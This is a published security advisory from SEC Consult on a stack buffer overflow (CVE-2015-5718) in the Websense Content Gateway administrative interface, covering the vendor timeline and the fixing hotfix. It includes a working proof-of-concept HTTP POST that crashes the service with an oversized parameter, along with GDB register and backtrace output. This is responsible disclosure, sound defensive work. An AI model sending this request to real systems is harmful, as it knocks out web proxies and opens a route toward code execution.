[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

SEC Consult SA-20150805-0 :: Websense Content Gateway Stack Buffer Overflow in handle_debug_network



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SEC Consult Vulnerability Lab Security Advisory < 20150805-0 >
=======================================================================
              title: Stack buffer overflow in handle_debug_network
            product: Websense Triton Content Manager
 vulnerable version: 8.0.0 build 1165
      fixed version: V8.0.0 HF02
         CVE number: CVE-2015-5718
             impact: high
           homepage: www.websense.com
              found: 2015-04-13
                 by: C. Schwarz (Office Bangkok)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Berlin - Frankfurt/Main - Montreal - Singapore
                     Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
- -------------------
Websense Content Gateway (Content Gateway) is a Linux-based, high-performance Web
proxy and cache that provides real-time content scanning and Web site classification
to protect network computers from malicious Web content while controlling employee
access to dynamic, user-generated Web 2.0 content. Web content has evolved from a
static information source to a sophisticated platform for 2-way communications,
which can be a valuable productivity tool when adequately secured.

URL: http://www.websense.com/content/support/library/deployctr/v76/dic_wcg.aspx


Business recommendation:
- ------------------------
Attackers are able to completely compromise the Websense Content Manager with
combined targeted attack vectors.

The scope of the test, where the vulnerabilities have been identified, was a
very short crash-test of the application. It is assumed that further
vulnerabilities exist within this product.


Vulnerability overview/description:
- -----------------------------------
A stack-based buffer overflow was identified in the Websense Content Manager
administrative interface, which allows to write past the 512 bytes sized buffer
"dest" when calling "strcpy" in "handle_debug_network". The vulnerability can be
used in combination with a CSRF attack to crash the system or execute arbitrary
code.


Proof of concept:
- -----------------
A single HTTP request is sufficient to crash the content_manager binary application:

POST /submit_net_debug.cgi?mode=0&menu=0&item=4&tab=1 HTTP/1.1
Host: <content gateway>:8081
[...]
Content-Length: 869

record_version=10479%3A70&submit_from_page=%2Fmonitor%2Fm_net_debug.ink&cmd_name=1&cmd_param=[Ax2048]&cmd_status=0&troute_install=0&tdump_install=0&cmd_action=1&cate=ping&cate=asd&apply=apply

Below is the GDB output of the process memory, most of the CPU's registers including
the stack pointer of various previous frames are overwritten with the value of 'A'.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f122b073700 (LWP 50174)]
0x00000000006becb1 in handle_debug_network (whc=<value optimized out>, tag=<value optimized out>,
arg=<value optimized out>) at
/home/cmbuild/Compass-Proxy/src/dev/WCG/traffic/proxy/mgmt2/web2/WebHttpRender.cc:997
997	/home/cmbuild/Compass-Proxy/src/dev/WCG/traffic/proxy/mgmt2/web2/WebHttpRender.cc: No such
file or directory.
	in /home/cmbuild/Compass-Proxy/src/dev/WCG/traffic/proxy/mgmt2/web2/WebHttpRender.cc
(gdb) i r
rax            0x0	0
rbx            0x4141414141414141	4702111234474983745
rcx            0x125c0	75200
rdx            0xda3f	55871
rsi            0x3541360	55841632
rdi            0x1	1
rbp            0x4141414141414141	0x4141414141414141
rsp            0x7f122b070618	0x7f122b070618
r8             0x4141414141414141	4702111234474983745
r9             0x4141414141414141	4702111234474983745
r10            0x4141414141414141	4702111234474983745
r11            0x3f2c35a350	271324652368
r12            0x4141414141414141	4702111234474983745
r13            0x4141414141414141	4702111234474983745
r14            0x4141414141414141	4702111234474983745
r15            0x4141414141414141	4702111234474983745
rip            0x6becb1	0x6becb1 <handle_debug_network(WebHttpContext*, char const*, char*)+561>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) bt
#0  0x00000000006becb1 in handle_debug_network (whc=<value optimized out>, tag=<value optimized
out>, arg=<value optimized out>) at
/home/cmbuild/Compass-Proxy/src/dev/WCG/traffic/proxy/mgmt2/web2/WebHttpRender.cc:997
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x4141414141414141 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x4141414141414141 in ?? ()
#16 0x4141414141414141 in ?? ()
#17 0x0000000000000000 in ?? ()
(gdb)


Vulnerable / tested versions:
- -----------------------------
Websense Triton Content Manager 8.0.0 build 1165


Vendor contact timeline:
- ------------------------
2015-05-18: Contacting vendor
2015-06-02: established secure communication channel
2015-06-03: sending advisory draft
2015-06-24: requesting update from vendor
2015-07-16: requesting update from vendor
2015-07-20: requesting update from vendor
2015-07-24: Websense states that hotfix V8.0.0 HF02 was released on 2015-06-10
2015-08-05: Public advisory release


Solution:
- ---------
The vulnerability has beed fixed in hotfix V8.0.0 HF02.
http://www.websense.com/support/article/kbarticle/v8-0-0-About-Hotfix-02-for-Websense-Content-Gateway


Workaround:
- -----------
No workaround available.


Advisory URL:
- -------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Christoph Schwarz / @2015
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iQIcBAEBAgAGBQJVwedZAAoJEC0t17XG7og/fioP/2G7YOKdO6fBaT2GQdYaZvTO
V/o+Ticavuc/eyBIUx+la9YPl0lC4ty5kJzh2E8P3Xpucqq5vMB/nQg1V9cmTsr2
hRGKX7n3XdJXjiWMk6i+0XIjIlYBCHKT+Q05rEUnmZzCfvB6iu5J3WYlyW7QH3Bu
ME/WhlsG5fBTiDjjOiuFeZB1rsaZxqNGtspwRwnrXH3HZyze74S8x7ZWG68q2v9a
eBUndHye9DGzwHtY5QmmqUJeTq4tX6bNb8KYMoZC/0FNNhUglkRKyQVVY5uuLJya
4ZAvtuKZCDLGap4ZSQSweZ7h9zY3vaiYfyHijqfZ6qkbWbiZSv5WyomdVF4xrZzT
n00yBtGF2kmxDmvUYj5IZGrDKlRui1lpgtPXCuVstuYOC6/R4ZiJy+pL0MMc9C7M
tnOKM9yl3PuZRqIPoXPzn3NOKlHWzZHgmNdaOJSxt9/slEZb69De7FwXV/GfbYsS
hax0PF29a5NlssxQep5GH1zNTRXmoUtsnECwYnMm309M8ulM1xtNeMZbo2D66zY8
v16L0DlKLh86fmdW5G3em7YHUMrV3PCj605BLsi4rmNDfPJpNIgj+Vq1M94OcNJW
DtJk0hQlfRI+BtScIpLmMHCqHc6vNsVZKbVwbev3QYq3ACNEguALS1UQ21AbUIBE
OidnDK17YDsYh6mkkvc2
=FaSJ
-----END PGP SIGNATURE-----